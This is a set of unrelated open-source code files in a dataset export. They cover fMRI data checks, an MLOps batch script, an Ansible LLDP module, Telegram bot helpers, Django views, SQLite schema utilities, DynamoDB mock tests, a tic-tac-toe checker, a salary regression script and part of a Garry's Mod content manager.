check_fmri_completeness(fmrif, f,vthr=140):\n # Load the fMRI data header\n fmri_header = nib.load(fmrif).header\n\n # Get the number of volumes from the header\n num_volumes = fmri_header.get_data_shape()[3]\n\n # Check if the number of volumes is greater than 140\n if num_volumes > vthr:\n f.write(f\"{fmrif} is fine.\\n\")\n else:\n f.write(f\"The fMRI data file {fmrif} has less than or equal to {vthr} volumes.\\n\")\n\n\ndef check_t1_completeness(t1f,f,shape=(192,448,512)):\n # Load the fMRI data header\n t1_header = nib.load(t1f).header\n\n # Get the number of volumes from the header\n t1_shape = t1_header.get_data_shape()\n\n # Check if the number of volumes is greater than 140\n if t1_shape == shape:\n f.write(f\"{t1f} is fine.\\n\")\n else:\n f.write(f\"The shape of {t1f} not equal to {shape}.\\n\")\n\n\nif __name__ == \"__main__\":\n # Set data template\n game_template = r'/mnt/workdir/DCM/BIDS/*/func/*_task-game*_run-*_bold.nii.gz'\n\n # Get a list of fMRI data files in the directory\n fmri_files = glob.glob(os.path.join(game_template))\n fmri_files.sort()\n\n thr = 100\n\n # Open the output file\n with open('/mnt/workdir/DCM/tmp/check_fmri_data_completeness_rest_output.txt', 'w') as f:\n # Loop through the fMRI data files\n for fmri_file in fmri_files:\n check_fmri_completeness(fmri_file,f,thr)\n\n # Set data template\n rest_template = r'/mnt/workdir/DCM/BIDS/*/func/*_task-rest_run-*_bold.nii.gz'\n\n # Get a list of fMRI data files in the directory\n fmri_files = glob.glob(os.path.join(rest_template))\n fmri_files.sort()\n\n thr = 90\n\n # Open the output file\n with open('/mnt/workdir/DCM/tmp/check_fmri_data_completeness_rest_output.txt', 'w') as f:\n # Loop through the fMRI data files\n for fmri_file in fmri_files:\n check_fmri_completeness(fmri_file,f,thr)\n\n # Set data template\n t1_template = r'/mnt/workdir/DCM/BIDS/*/anat/*_T1w.nii.gz'\n\n # Get a list of fMRI data files in the directory\n t1_files = glob.glob(os.path.join(t1_template))\n t1_files.sort()\n\n shape = (192,448,512)\n\n # Open the output file\n with open('/mnt/workdir/DCM/tmp/check_mri_data_completeness_t1_output.txt', 'w') as f:\n # Loop through the fMRI data files\n for t1_file in t1_files:\n check_t1_completeness(t1_file,f,shape)\n","repo_name":"YukunQu/DCM","sub_path":"data/quality_control/check_fmri_data_completeness.py","file_name":"check_fmri_data_completeness.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18302901039","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport sys\nimport pickle\nimport pandas as pd\n\n\nINPUT_FILE_PATTERN=\"s3://nyc-duration/in/{year:04d}-{month:02d}.parquet\"\nOUTPUT_FILE_PATTERN=\"s3://nyc-duration/out/{year:04d}-{month:02d}.parquet\"\nS3_ENDPOINT_URL='http://localhost:4566'\n\noptions = {\n 'client_kwargs': {\n 'endpoint_url': S3_ENDPOINT_URL\n }\n}\n\n\ndef read_data(filename, categorical):\n \"\"\"\n Read data from parquet file.\n \"\"\"\n df = pd.read_parquet('s3://nyc-duration/test/test.parquet', storage_options=options)\n df['duration'] = df.dropOff_datetime - df.pickup_datetime\n df['duration'] = df.duration.dt.total_seconds() / 60\n\n df = df[(df.duration >= 1) & (df.duration <= 60)].copy()\n\n df[categorical] = df[categorical].fillna(-1).astype('int').astype('str')\n \n return df\n\ndef get_input_path(year, month):\n default_input_pattern = 'https://raw.githubusercontent.com/alexeygrigorev/datasets/master/nyc-tlc/fhv/fhv_tripdata_{year:04d}-{month:02d}.parquet'\n input_pattern = INPUT_FILE_PATTERN\n return input_pattern.format(year=year, month=month)\n\n\ndef get_output_path(year, month):\n default_output_pattern = 's3://nyc-duration-prediction-alexey/taxi_type=fhv/year={year:04d}/month={month:02d}/predictions.parquet'\n output_pattern = OUTPUT_FILE_PATTERN\n return output_pattern.format(year=year, month=month)\n\ndef main(year, month):\n \"\"\"\n Main function.\n \"\"\"\n input_file = get_input_path(year, month)\n output_file = get_output_path(year, month)\n\n\n with open('..\\model.bin', 'rb') as f_in:\n dv, lr = pickle.load(f_in)\n\n \n categorical = ['PUlocationID', 'DOlocationID']\n df = read_data(input_file, categorical)\n df['ride_id'] = f'{year:04d}/{month:02d}_' + df.index.astype('str')\n\n\n dicts = df[categorical].to_dict(orient='records')\n X_val = dv.transform(dicts)\n y_pred = lr.predict(X_val)\n\n\n print('predicted mean duration:', y_pred.mean())\n\n\n df_result = pd.DataFrame()\n df_result['ride_id'] = df['ride_id']\n df_result['predicted_duration'] = y_pred\n\n #df_result.to_parquet(output_file, engine='pyarrow', index=False)\n save_data(output_file, df_result)\n\ndef save_data(filename: str, df: pd.DataFrame) -> None:\n df.to_parquet(filename, storage_options=options)\n \nif __name__ == '__main__':\n year = int(sys.argv[1])\n month = int(sys.argv[2])\n main(year, month)","repo_name":"eeeds/MLOps-Camp","sub_path":"6-Best-Practices/homework/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"21899923244","text":"from __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nDOCUMENTATION = '''\n---\nmodule: icx_lldp\nauthor: \"Ruckus Wireless (@Commscope)\"\nshort_description: Manage LLDP configuration on Ruckus ICX 7000 series switches\ndescription:\n - This module provides declarative management of LLDP service on ICX network devices.\nnotes:\n - Tested against ICX 10.1.\n - For information on using ICX platform, see L(the ICX OS Platform Options guide,../network/user_guide/platform_icx.html).\noptions:\n interfaces:\n description:\n - specify interfaces\n suboptions:\n name:\n description:\n - List of ethernet ports to enable lldp. To add a range of ports use 'to' keyword. See the example.\n type: list\n state:\n description:\n - State of lldp configuration for interfaces\n type: str\n choices: ['present', 'absent', 'enabled', 'disabled']\n type: list\n check_running_config:\n description:\n - Check running configuration. This can be set as environment variable.\n Module will use environment variable value(default:True), unless it is overridden, by specifying it as module parameter.\n type: bool\n default: true\n state:\n description:\n - Enables the receipt and transmission of Link Layer Discovery Protocol (LLDP) globally.\n type: str\n choices: ['present', 'absent', 'enabled', 'disabled']\n'''\n\nEXAMPLES = \"\"\"\n- name: Disable LLDP\n community.network.icx_lldp:\n state: absent\n\n- name: Enable LLDP\n community.network.icx_lldp:\n state: present\n\n- name: Disable LLDP on ports 1/1/1 - 1/1/10, 1/1/20\n community.network.icx_lldp:\n interfaces:\n - name:\n - ethernet 1/1/1 to 1/1/10\n - ethernet 1/1/20\n state: absent\n state: present\n\n- name: Enable LLDP on ports 1/1/5 - 1/1/10\n community.network.icx_lldp:\n interfaces:\n - name:\n - ethernet 1/1/1 to 1/1/10\n\"\"\"\n\nRETURN = \"\"\"\ncommands:\n description: The list of configuration mode commands to send to the device\n returned: always, except for the platforms that use Netconf transport to manage the device.\n type: list\n sample:\n - lldp run\n - no lldp run\n\"\"\"\n\nfrom ansible.module_utils.basic import AnsibleModule, env_fallback\nfrom ansible_collections.community.network.plugins.module_utils.network.icx.icx import load_config, run_commands\n\n\ndef has_lldp(module):\n run_commands(module, ['skip'])\n output = run_commands(module, ['show lldp'])\n is_lldp_enable = False\n if len(output) > 0 and \"LLDP is not running\" not in output[0]:\n is_lldp_enable = True\n\n return is_lldp_enable\n\n\ndef map_obj_to_commands(module, commands):\n interfaces = module.params.get('interfaces')\n for item in interfaces:\n state = item.get('state')\n if state == 'present':\n for port in item.get('name'):\n if 'all' in port:\n module.fail_json(msg='cannot enable on all the ports')\n else:\n commands.append('lldp enable ports {0}'.format(str(port)))\n elif state == 'absent':\n for port in item.get('name'):\n if 'all' in port:\n module.fail_json(msg='cannot enable on all the ports')\n else:\n commands.append('no lldp enable ports {0}'.format(str(port)))\n\n\ndef main():\n \"\"\" main entry point for module execution\n \"\"\"\n interfaces_spec = dict(\n name=dict(type='list'),\n state=dict(choices=['present', 'absent',\n 'enabled', 'disabled'])\n )\n\n argument_spec = dict(\n interfaces=dict(type='list', elements='dict', options=interfaces_spec),\n state=dict(choices=['present', 'absent',\n 'enabled', 'disabled']),\n check_running_config=dict(default=True, type='bool', fallback=(env_fallback, ['ANSIBLE_CHECK_ICX_RUNNING_CONFIG']))\n )\n\n module = AnsibleModule(argument_spec=argument_spec,\n supports_check_mode=True)\n\n warnings = list()\n\n result = {'changed': False}\n\n if warnings:\n result['warnings'] = warnings\n\n if module.params['check_running_config'] is False:\n HAS_LLDP = None\n else:\n HAS_LLDP = has_lldp(module)\n\n commands = []\n state = module.params['state']\n\n if state is None:\n if HAS_LLDP:\n map_obj_to_commands(module, commands)\n else:\n module.fail_json(msg='LLDP is not running')\n else:\n if state == 'absent' and HAS_LLDP is None:\n commands.append('no lldp run')\n\n if state == 'absent' and HAS_LLDP:\n commands.append('no lldp run')\n\n elif state == 'present':\n if not HAS_LLDP:\n commands.append('lldp run')\n if module.params.get('interfaces'):\n map_obj_to_commands(module, commands)\n\n result['commands'] = commands\n\n if commands:\n if not module.check_mode:\n load_config(module, commands)\n\n result['changed'] = True\n\n module.exit_json(**result)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ansible-collections/community.network","sub_path":"plugins/modules/icx_lldp.py","file_name":"icx_lldp.py","file_ext":"py","file_size_in_byte":5126,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"48"} +{"seq_id":"73812135187","text":"import asyncio\nfrom typing import List, Tuple, Union, Callable, Awaitable, Dict\nfrom bot.bot import dp\nfrom aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton, Message, ContentType\n\nfrom bot.types import ChatId, RoleMeta\nfrom bot.utils.shared import async_wait\n\n\ndef arr2keyword_markup(buttons: List[List[Dict]]):\n return InlineKeyboardMarkup(inline_keyboard=[[InlineKeyboardButton(**btn) for btn in row] for row in buttons])\n\n\ndef parse_timer(text: str) -> Tuple[Union[int, None], int]:\n try:\n num = int(text.split(maxsplit=1)[1])\n return abs(num), -1 if num < 0 else 1\n except (ValueError, IndexError):\n return None, 1\n\n\nasync def attach_last_words(\n user_id: ChatId,\n text: str,\n callback: Callable[[Message], Awaitable[None]],\n):\n await dp.bot.send_message(user_id, text)\n\n async def handler(msg, *args, **kwargs):\n dp.message_handlers.unregister(handler)\n await callback(msg)\n\n dp.register_message_handler(handler, chat_id=user_id, content_types=[ContentType.ANY])\n\n return handler\n\n\nasync def attach_mafia_chat(mafias: list[RoleMeta], spies: list[RoleMeta] = ()):\n mafia_dict = {maf.user.id: maf for maf in mafias}\n\n async def handler(msg: Message):\n user_id = msg.from_user.id\n if user_id not in mafia_dict or not mafia_dict[user_id].alive:\n return\n await asyncio.wait([msg.forward(subscriber.user.id) for subscriber in mafias if subscriber.alive])\n await async_wait([msg.copy_to(spy.user.id) for spy in spies if spy.alive])\n await msg.delete()\n\n dp.register_message_handler(handler, chat_id=[maf.user.id for maf in mafias], content_types=[ContentType.ANY])\n\n return handler\n","repo_name":"HewstonFox/TheMafiaHostBotV2","sub_path":"bot/utils/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"69873587985","text":"from django.shortcuts import render\nfrom .forms import PageModelForm\nfrom .models import Page\nfrom django.contrib import messages\nfrom django.contrib.admin.views.decorators import staff_member_required\n\n\ndef index(request):\n context = dict()\n context['page'] = Page.objects.filter(status='published')\n return render(request, 'base/base.html', context)\n\n@staff_member_required\ndef page_create(request):\n context = dict()\n context['title'] = 'Page Form'\n context['form'] = PageModelForm(request.POST)\n if request.method == 'POST':\n form = PageModelForm(request.POST)\n if form.is_valid():\n item = form.save(commit=False)\n print(item)\n item.save()\n messages.success(request, 'Page is created.')\n return render(request, 'manage/form.html', context)\n","repo_name":"alimty/04_django_kaft","sub_path":"kaft/page/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6809165819","text":"import typing\n\nfrom kiara_modules.core.database import SqliteTableSchema\n\nif typing.TYPE_CHECKING:\n import pyarrow as pa\n\n\ndef convert_arraw_type_to_sqlite(data_type: str) -> str:\n\n if data_type.startswith(\"int\") or data_type.startswith(\"uint\"):\n return \"INTEGER\"\n\n if (\n data_type.startswith(\"float\")\n or data_type.startswith(\"decimal\")\n or data_type.startswith(\"double\")\n ):\n return \"REAL\"\n\n if data_type.startswith(\"time\") or data_type.startswith(\"date\"):\n return \"TEXT\"\n\n if data_type == \"bool\":\n return \"INTEGER\"\n\n if data_type in [\"string\", \"utf8\", \"large_string\", \"large_utf8\"]:\n return \"TEXT\"\n\n if data_type in [\"binary\", \"large_binary\"]:\n return \"BLOB\"\n\n return \"ANY\"\n\n\ndef convert_arrow_column_types_to_sqlite(\n table: \"pa.Table\",\n) -> typing.Dict[str, typing.Dict[str, typing.Any]]:\n\n result: typing.Dict[str, typing.Dict[str, typing.Any]] = {}\n for column_name in table.column_names:\n field = table.field(column_name)\n sqlite_type = convert_arraw_type_to_sqlite(str(field.type))\n result[column_name] = {\"data_type\": sqlite_type}\n\n return result\n\n\ndef create_sqlite_schema_data_from_arrow_table(\n table: \"pa.Table\",\n column_map: typing.Optional[typing.Mapping[str, str]] = None,\n index_columns: typing.Optional[typing.Iterable[str]] = None,\n extra_column_info: typing.Optional[\n typing.Mapping[str, typing.Iterable[str]]\n ] = None,\n) -> SqliteTableSchema:\n \"\"\"Create a sql schema statement from an Arrow table object.\n\n Arguments:\n table: the Arrow table object\n column_map: a map that contains column names that should be changed in the new table\n index_columns: a list of column names (after mapping) to create module_indexes for\n extra_column_info: a list of extra schema instructions per column name (after mapping)\n \"\"\"\n\n columns = convert_arrow_column_types_to_sqlite(table=table)\n\n if column_map is None:\n column_map = {}\n\n if extra_column_info is None:\n extra_column_info = {}\n\n temp: typing.Dict[str, typing.Dict[str, typing.Any]] = {}\n\n if index_columns is None:\n index_columns = []\n\n for cn, data in columns.items():\n if cn in column_map.keys():\n new_key = column_map[cn]\n else:\n new_key = cn\n temp_data = dict(data)\n if new_key in extra_column_info.keys():\n temp_data[\"extra_column_info\"] = extra_column_info[new_key]\n else:\n temp_data[\"extra_column_info\"] = [\"\"]\n if cn in index_columns:\n temp_data[\"create_index\"] = True\n temp[new_key] = temp_data\n\n columns = temp\n if not columns:\n raise Exception(\"Resulting table schema has no columns.\")\n else:\n for ic in index_columns:\n if ic not in columns.keys():\n raise Exception(\n f\"Can't create schema, requested index column name not available: {ic}\"\n )\n\n return SqliteTableSchema(columns=columns, column_map=column_map)\n","repo_name":"DHARPA-Project/kiara_modules.core","sub_path":"src/kiara_modules/core/table/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32305914011","text":"import boto3\nimport pytest\n\nfrom moto import mock_dynamodb\nfrom botocore.exceptions import ClientError\n\n\ndef _create_user_table():\n client = boto3.client(\"dynamodb\", region_name=\"us-east-1\")\n client.create_table(\n TableName=\"users\",\n KeySchema=[{\"AttributeName\": \"username\", \"KeyType\": \"HASH\"}],\n AttributeDefinitions=[{\"AttributeName\": \"username\", \"AttributeType\": \"S\"}],\n ProvisionedThroughput={\"ReadCapacityUnits\": 5, \"WriteCapacityUnits\": 5},\n )\n client.put_item(\n TableName=\"users\", Item={\"username\": {\"S\": \"user1\"}, \"binaryfoo\": {\"B\": b\"bar\"}}\n )\n client.put_item(\n TableName=\"users\", Item={\"username\": {\"S\": \"user2\"}, \"foo\": {\"S\": \"bar\"}}\n )\n client.put_item(\n TableName=\"users\", Item={\"username\": {\"S\": \"user3\"}, \"foo\": {\"S\": \"bar\"}}\n )\n return client\n\n\n@mock_dynamodb\ndef test_batch_items_returns_all():\n dynamodb = _create_user_table()\n returned_items = dynamodb.batch_get_item(\n RequestItems={\n \"users\": {\n \"Keys\": [\n {\"username\": {\"S\": \"user0\"}},\n {\"username\": {\"S\": \"user1\"}},\n {\"username\": {\"S\": \"user2\"}},\n {\"username\": {\"S\": \"user3\"}},\n ],\n \"ConsistentRead\": True,\n }\n }\n )[\"Responses\"][\"users\"]\n assert len(returned_items) == 3\n assert {\"username\": {\"S\": \"user1\"}, \"binaryfoo\": {\"B\": b\"bar\"}} in returned_items\n assert {\"username\": {\"S\": \"user2\"}, \"foo\": {\"S\": \"bar\"}} in returned_items\n assert {\"username\": {\"S\": \"user3\"}, \"foo\": {\"S\": \"bar\"}} in returned_items\n\n\n@mock_dynamodb\ndef test_batch_items_throws_exception_when_requesting_100_items_for_single_table():\n dynamodb = _create_user_table()\n with pytest.raises(ClientError) as ex:\n dynamodb.batch_get_item(\n RequestItems={\n \"users\": {\n \"Keys\": [\n {\"username\": {\"S\": \"user\" + str(i)}} for i in range(0, 104)\n ],\n \"ConsistentRead\": True,\n }\n }\n )\n assert ex.value.response[\"Error\"][\"Code\"] == \"ValidationException\"\n msg = ex.value.response[\"Error\"][\"Message\"]\n assert (\n msg\n == \"1 validation error detected: Value at 'requestItems.users.member.keys' failed to satisfy constraint: Member must have length less than or equal to 100\"\n )\n\n\n@mock_dynamodb\ndef test_batch_items_throws_exception_when_requesting_100_items_across_all_tables():\n dynamodb = _create_user_table()\n with pytest.raises(ClientError) as ex:\n dynamodb.batch_get_item(\n RequestItems={\n \"users\": {\n \"Keys\": [\n {\"username\": {\"S\": \"user\" + str(i)}} for i in range(0, 75)\n ],\n \"ConsistentRead\": True,\n },\n \"users2\": {\n \"Keys\": [\n {\"username\": {\"S\": \"user\" + str(i)}} for i in range(0, 75)\n ],\n \"ConsistentRead\": True,\n },\n }\n )\n err = ex.value.response[\"Error\"]\n assert err[\"Code\"] == \"ValidationException\"\n assert err[\"Message\"] == \"Too many items requested for the BatchGetItem call\"\n\n\n@mock_dynamodb\ndef test_batch_items_with_basic_projection_expression():\n dynamodb = _create_user_table()\n returned_items = dynamodb.batch_get_item(\n RequestItems={\n \"users\": {\n \"Keys\": [\n {\"username\": {\"S\": \"user0\"}},\n {\"username\": {\"S\": \"user1\"}},\n {\"username\": {\"S\": \"user2\"}},\n {\"username\": {\"S\": \"user3\"}},\n ],\n \"ConsistentRead\": True,\n \"ProjectionExpression\": \"username\",\n }\n }\n )[\"Responses\"][\"users\"]\n\n assert len(returned_items) == 3\n assert [item[\"username\"][\"S\"] for item in returned_items] == [\n \"user1\",\n \"user2\",\n \"user3\",\n ]\n assert [item.get(\"foo\") for item in returned_items] == [None, None, None]\n\n # The projection expression should not remove data from storage\n returned_items = dynamodb.batch_get_item(\n RequestItems={\n \"users\": {\n \"Keys\": [\n {\"username\": {\"S\": \"user0\"}},\n {\"username\": {\"S\": \"user1\"}},\n {\"username\": {\"S\": \"user2\"}},\n {\"username\": {\"S\": \"user3\"}},\n ],\n \"ConsistentRead\": True,\n }\n }\n )[\"Responses\"][\"users\"]\n\n assert len(returned_items) == 3\n assert {\"username\": {\"S\": \"user1\"}, \"binaryfoo\": {\"B\": b\"bar\"}} in returned_items\n assert {\"username\": {\"S\": \"user2\"}, \"foo\": {\"S\": \"bar\"}} in returned_items\n assert {\"username\": {\"S\": \"user3\"}, \"foo\": {\"S\": \"bar\"}} in returned_items\n\n\n@mock_dynamodb\ndef test_batch_items_with_basic_projection_expression_and_attr_expression_names():\n dynamodb = _create_user_table()\n returned_items = dynamodb.batch_get_item(\n RequestItems={\n \"users\": {\n \"Keys\": [\n {\"username\": {\"S\": \"user0\"}},\n {\"username\": {\"S\": \"user1\"}},\n {\"username\": {\"S\": \"user2\"}},\n {\"username\": {\"S\": \"user3\"}},\n ],\n \"ConsistentRead\": True,\n \"ProjectionExpression\": \"#rl\",\n \"ExpressionAttributeNames\": {\"#rl\": \"username\"},\n }\n }\n )[\"Responses\"][\"users\"]\n\n assert len(returned_items) == 3\n assert {\"username\": {\"S\": \"user1\"}} in returned_items\n assert {\"username\": {\"S\": \"user2\"}} in returned_items\n assert {\"username\": {\"S\": \"user3\"}} in returned_items\n\n\n@mock_dynamodb\ndef test_batch_items_should_throw_exception_for_duplicate_request():\n client = _create_user_table()\n with pytest.raises(ClientError) as ex:\n client.batch_get_item(\n RequestItems={\n \"users\": {\n \"Keys\": [\n {\"username\": {\"S\": \"user0\"}},\n {\"username\": {\"S\": \"user0\"}},\n ],\n \"ConsistentRead\": True,\n }\n }\n )\n err = ex.value.response[\"Error\"]\n assert err[\"Code\"] == \"ValidationException\"\n assert err[\"Message\"] == \"Provided list of item keys contains duplicates\"\n\n\n@mock_dynamodb\ndef test_batch_items_should_return_16mb_max():\n \"\"\"\n A single operation can retrieve up to 16 MB of data [...]. BatchGetItem returns a partial result if the response size limit is exceeded [..].\n\n For example, if you ask to retrieve 100 items, but each individual item is 300 KB in size,\n the system returns 52 items (so as not to exceed the 16 MB limit).\n\n It also returns an appropriate UnprocessedKeys value so you can get the next page of results.\n If desired, your application can include its own logic to assemble the pages of results into one dataset.\n \"\"\"\n client = _create_user_table()\n # Fill table with all the data\n for i in range(100):\n client.put_item(\n TableName=\"users\",\n Item={\"username\": {\"S\": f\"largedata{i}\"}, \"foo\": {\"S\": \"x\" * 300000}},\n )\n\n resp = client.batch_get_item(\n RequestItems={\n \"users\": {\n \"Keys\": [{\"username\": {\"S\": f\"largedata{i}\"}} for i in range(75)],\n \"ConsistentRead\": True,\n }\n }\n )\n\n assert len(resp[\"Responses\"][\"users\"]) == 55\n unprocessed_keys = resp[\"UnprocessedKeys\"][\"users\"][\"Keys\"]\n # 75 requested, 55 returned --> 20 unprocessed\n assert len(unprocessed_keys) == 20\n\n # Keys 55-75 are unprocessed\n assert {\"username\": {\"S\": \"largedata55\"}} in unprocessed_keys\n assert {\"username\": {\"S\": \"largedata65\"}} in unprocessed_keys\n\n # Keys 0-55 are processed in the regular response, so they shouldn't show up here\n assert {\"username\": {\"S\": \"largedata45\"}} not in unprocessed_keys\n","repo_name":"getmoto/moto","sub_path":"tests/test_dynamodb/test_dynamodb_batch_get_item.py","file_name":"test_dynamodb_batch_get_item.py","file_ext":"py","file_size_in_byte":8087,"program_lang":"python","lang":"en","doc_type":"code","stars":7174,"dataset":"github-code","pt":"48"} +{"seq_id":"25873682711","text":"import sys\nfrom collections import Counter\ndef input():\n return sys.stdin.readline().rstrip()\n\ndef isWin(cha):\n for row in range(0,9,3):\n for dx in range(3):\n x = row+dx\n if lines[x] != cha:\n break\n else:\n return True\n \n for col in range(3):\n for dy in range(0,9,3):\n y = col + dy\n if lines[y] != cha:\n break\n else:\n return True\n if lines[0] == lines[4] == lines[8] == cha:\n return True\n if lines[2] == lines[4] == lines[6] == cha:\n return True\n return False\ndef solve(arr):\n line = Counter(arr)\n\n if line[O] + line[X] == 9 and line[X] == line[O]+1:\n if not isWin(O):\n return True\n return False\n elif line[O] == line[X] and isWin(O) and not isWin(X):\n return True\n elif line[O]+1 == line[X] and isWin(X) and not isWin(O):\n return True\n return False\n \nO = 'O'\nX = 'X'\nwhile True:\n lines = input()\n if lines == 'end':\n break\n\n if solve(lines):\n print('valid')\n else:\n print('invalid')","repo_name":"gkgg123/TIL_new","sub_path":"알고리즘/백준/7682_틱택토_version1.py","file_name":"7682_틱택토_version1.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13420201346","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 12 22:17:43 2022\n\n@author: user\n\"\"\"\n\nimport pandas as pd\n## 導入Python的數據處理套件\n# import numpy as np\n# import pandas as pd\n## 導入視覺化套件\nimport matplotlib.pyplot as plt\nfrom sklearn import metrics\n## 導入Sklearn中的線性模組\n# from sklearn import linear_model\nfrom sklearn.linear_model import LogisticRegression\n## 將數據集分成訓練集與測試集的套件\nfrom sklearn.model_selection import train_test_split\nimport seaborn as sns\n\njob = pd.read_excel('104data0712Trans951.xlsx')\n\n# ============================================================================\n\n# 將薪水轉換為級距\nsal_df = job[['jobSal']] \nfor j in range(len(sal_df)):\n pay = sal_df.at[j,'jobSal']\n if 20000 <= pay < 30000:\n sal_df.at[j,'jobSal'] = 0\n elif 30000 <= pay < 40000:\n sal_df.at[j,'jobSal'] = 1\n elif 40000 <= pay < 50000:\n sal_df.at[j,'jobSal'] = 2\n elif 50000 <= pay < 60000:\n sal_df.at[j,'jobSal'] = 3\n elif 60000 <= pay < 70000:\n sal_df.at[j,'jobSal'] = 4\n elif 70000 <= pay < 80000:\n sal_df.at[j,'jobSal'] = 5\n elif 80000 <= pay < 90000:\n sal_df.at[j,'jobSal'] = 6\n else:\n sal_df.at[j,'jobSal'] = 7\n\njob['classDistance'] = sal_df\njob[['classDistance']] = job[['classDistance']].astype(float)\n# 更改欄位的順序\ncolumns_name = job.columns.tolist()\ncolumns_name.insert(columns_name.index('jobSal')+1, \n columns_name.pop(columns_name.index('classDistance')))\njob = job[columns_name]\n\njob.drop_duplicates(subset='jobName',inplace=True)\njob.dropna(axis=0,inplace=True)\n\njob_corr = job.corr()\n\n## 定義自變量與應變量\nX = job[['jobExp',\n \"LangTrans\",\n \"CountyTrans\",\n \"classDistance\"]]\n\ny = job['classDistance']\n\n\n# 繪製特徵與標籤組合的散點視覺化\nsns.pairplot(data=X ,diag_kind='hist', hue= 'classDistance')\nplt.show()\n\n\n\n# 選取其前三個特徵繪製三維散點圖\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure(figsize=(10,8))\nax = fig.add_subplot(111, projection='3d')\n\nclass0 = X[X['classDistance']==0].values\nclass1 = X[X['classDistance']==1].values\nclass2 = X[X['classDistance']==2].values\nclass3 = X[X['classDistance']==3].values\nclass4 = X[X['classDistance']==4].values\nclass5 = X[X['classDistance']==5].values\nclass6 = X[X['classDistance']==6].values\nclass7 = X[X['classDistance']==7].values\n\n# 'setosa'(0), 'versicolor'(1), 'virginica'(2)\nax.scatter(class0[:,0], class0[:,1], class0[:,2], label='class0')\nax.scatter(class1[:,0], class1[:,1], class1[:,2], label='class1')\nax.scatter(class2[:,0], class2[:,1], class2[:,2], label='class2')\nax.scatter(class3[:,0], class3[:,1], class3[:,2], label='class3')\nax.scatter(class4[:,0], class4[:,1], class4[:,2], label='class4')\nax.scatter(class5[:,0], class5[:,1], class5[:,2], label='class5')\nax.scatter(class6[:,0], class6[:,1], class6[:,2], label='class6')\nax.scatter(class7[:,0], class7[:,1], class7[:,2], label='class7')\nplt.legend()\n\nplt.show()\n\n\n## 將數據集分成訓練集與測試集\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2)\n\n\n## 建立邏輯迴歸模型\nmodel = LogisticRegression(random_state=0, solver='lbfgs')\n\n## 擬和數據\nmodel.fit(X_train, y_train)\nprint('the weight of Logistic Regression:',model.coef_)\nprint('the intercept(w0) of Logistic Regression:',model.intercept_)\n\n\ntrain_predict = model.predict(X_train)\ntest_predict = model.predict(X_test)\n\ntrain_predict_proba = model.predict_proba(X_train)\ntest_predict_proba = model.predict_proba(X_test)\n\nprint('The test predict Probability of each class:\\n',test_predict_proba)\n## 其中第一列代表預測為0類的概率,第二列代表預測為1類的概率,第三列代表預測為2類的概率。\n\n## 利用accuracy(準確度)【預測正確的樣本數目佔總預測樣本數目的比例】評估模型效果\nprint('The accuracy of the Logistic Regression is:',metrics.accuracy_score(y_train,train_predict))\nprint('The accuracy of the Logistic Regression is:',metrics.accuracy_score(y_test,test_predict))\n\ntest_score = model.score(X_test, y_test) * 100\nprint(\"test_score\",test_score)\n## 檢視混淆矩陣\nconfusion_matrix_result = metrics.confusion_matrix(test_predict,y_test)\nprint('The confusion matrix result:\\n',confusion_matrix_result)\n\n# 利用熱力圖對於結果進行視覺化\nplt.figure(figsize=(8, 6))\nsns.heatmap(confusion_matrix_result, annot=True, cmap='Blues')\nplt.xlabel('Predicted labels')\nplt.ylabel('True labels')\nplt.show()","repo_name":"HCH0629/human_resource","sub_path":"salClassDistance.py","file_name":"salClassDistance.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2518330824","text":"import requests\nimport os\nimport argparse\nimport json\nimport lzma\nimport subprocess\nimport shutil\nimport sys\nfrom configparser import ConfigParser\n\nparser = argparse.ArgumentParser(\n description='Tool for managing Gmod Steam content')\nparser.add_argument(\"-nogmad\", help=\"for travis\", action=\"store_true\")\nparser.add_argument(\"-download\", help=\"Download gmad\", action=\"store_true\")\nparser.add_argument(\"-nocheck\",\n help=\"Install/Check content only provided via 'install' arg\", action=\"store_true\")\n\nparser.add_argument(\"-install\",\n help=\"Install new content\", type=str, nargs='+', metavar='ID')\nargs = vars(parser.parse_args())\n\nconfig = ConfigParser()\nif not os.path.exists(\"main.cfg\"):\n config.add_section(\"main\")\n gmad_path = None\n for gmad_probably_path in [\"./gmad.exe\", \"../bin/gmad.exe\", \"./gmad_linux\", \"./gmad\", \"../bin/gmad\", \"../bin/gmad_linux\"]:\n if os.path.exists(gmad_probably_path):\n gmad_path = gmad_probably_path\n passed = True\n if gmad_path == None:\n if args[\"download\"]:\n import platform\n if platform.system() == \"Windows\":\n with open(\"./gmad.exe\", \"wb\") as gmad_windows_file:\n gmad_windows_file.write(requests.get(\n \"https://github.com/SupinePandora43/gmod-manager/releases/download/0.1.0/gmad.exe\").content)\n gmad_windows_file.close()\n gmad_path = \"./gmad.exe\"\n elif platform.system() == \"Linux\":\n gmad_linux = requests.get(\n \"https://github.com/AbigailBuccaneer/gmad-build/releases/download/v20180201/gmad_linux\").content\n with open(\"./gmad_linux\", \"wb\") as gmad_linux_file:\n gmad_linux_file.write(gmad_linux)\n gmad_linux_file.close()\n gmad_linux = None\n 